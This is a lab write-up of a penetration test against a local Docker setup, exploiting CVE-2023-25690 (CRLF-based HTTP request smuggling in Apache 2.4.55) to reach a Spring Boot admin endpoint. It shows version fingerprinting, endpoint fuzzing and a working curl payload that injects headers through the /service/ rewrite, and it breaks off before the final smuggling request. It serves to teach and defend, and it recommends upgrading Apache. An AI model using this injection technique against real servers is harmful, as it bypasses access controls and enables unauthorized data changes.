
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Component | Role | Version |
|---|---|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerable) |
| Spring Boot (embedded Tomcat) | Backend API | 4.x (Java 21) |
| SQLite | Database | — |
User ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: unsanitized CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> blocked
POST /public/register: allows user registration in the database
POST /public/login: allows login through verification of the entered credentials and issues a session token
GET /public/dashboard: restricted user area
GET /api/status: accepts the "name" parameter, it is a sample endpoint for checking service status
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: a route theoretically inaccessible to the public that allows administrators to modify user data
During the penetration testing activity, a critical vulnerability was identified in the reverse proxy infrastructure that exposes the Spring Boot backend. The Apache HTTP Server version 2.4.55 proxy is affected by vulnerability CVE-2023-25690 (HTTP Request Smuggling), which allows an attacker to bypass the security filters imposed on the proxy and directly reach unprotected internal administrative endpoints.
The attack exploits the lack of sanitization of control characters (CRLF) in Apache's RewriteRule, allowing the injection of a second HTTP request among the parameters of a legitimate request to the backend. The proof of concept demonstrated the unauthorized modification of user credentials in the database via the /admin/edit/{id}/{newName}/{newPass} endpoint, theoretically protected by the proxy's ACLs.
Recommendations: Immediately update Apache HTTP Server to version ≥ 2.4.56, strengthen security filters on the proxy, and implement a backend security layer (Spring Security) for all sensitive endpoints.
Identification of the Apache version through analysis of the HTTP response headers.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Result: The Server header reveals Apache/2.4.55. Consultation of the CVE database → match with CVE-2023-25690.
According to the CVE, in this version of Apache, if there is a RewriteRule that copies generic characters from the request to the proxy into the backend destination URL, the transcribed text is not sanitized, so control characters (such as line breaks) also pass through.
For example: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // the P stands for proxy mode
So now our goal is to discover any endpoint that performs this transcription at the proxy level
From the analysis of the responses and the application's behavior, it is observed that the session is managed through JSESSIONID, which confirms the use of a Java Servlet Container (such as Apache Tomcat, Jetty, or WildFly). Furthermore, requests to non-existent endpoints return a "Whitelabel Error Page," indicating that Spring Boot is running in the backend.
Using a bash script to automate dictionary-based fuzzing, the endpoints exposed on the network were mapped (presumably all of them).
Result:
| Endpoint | HTTP Code | Method | Parameters |
|---|---|---|---|
| admin | 403 | GET | (no params) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (no params) |
| public/logout | 200 | GET | (no params) |
| api/status | 200 | GET | (no params) |
| service/* | 200 | GET | (no params) |
Given that
both return the same response, it is clear that they point to the same backend endpoint. Furthermore, since requests like /service/x/y/z (which most likely do not exist) do not return a 404, it can be deduced that the original endpoint accepts a parameter and not a path variable. In conclusion, it can be deduced that requests to /service/<service> are translated via a RewriteRule to the Spring Boot backend (exactly what we were looking for). Now we need to determine whether this RewriteRule is a dummy one, i.e., it uses a regex like .* or whether it is well-structured.
I try to insert control characters into the request to split the legitimate content from the hidden one:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... The service 'x' is operational and stable.
I inserted a custom parameter to verify that the CRLFs are interpreted correctly
trash_header is responsible for encapsulating the headers that Apache will insert into the request to the backend (this way they will be interpreted as simple text of the X-Header and will have no value for the HTTP request)
Using tcpdump in the backend container, I was able to intercept the HTTP request coming from Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
The backend sees this request:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"The control characters have taken control"
The response tells me that the part with the control characters passed through undisturbed as the structure of the HTTP request itself and not simply as a parameter (since the name intercepted by the backend is only 'x'). So we imposed the format of the HTTP request to the backend and the proxy accepted it; this paves the way for the real smuggling payload.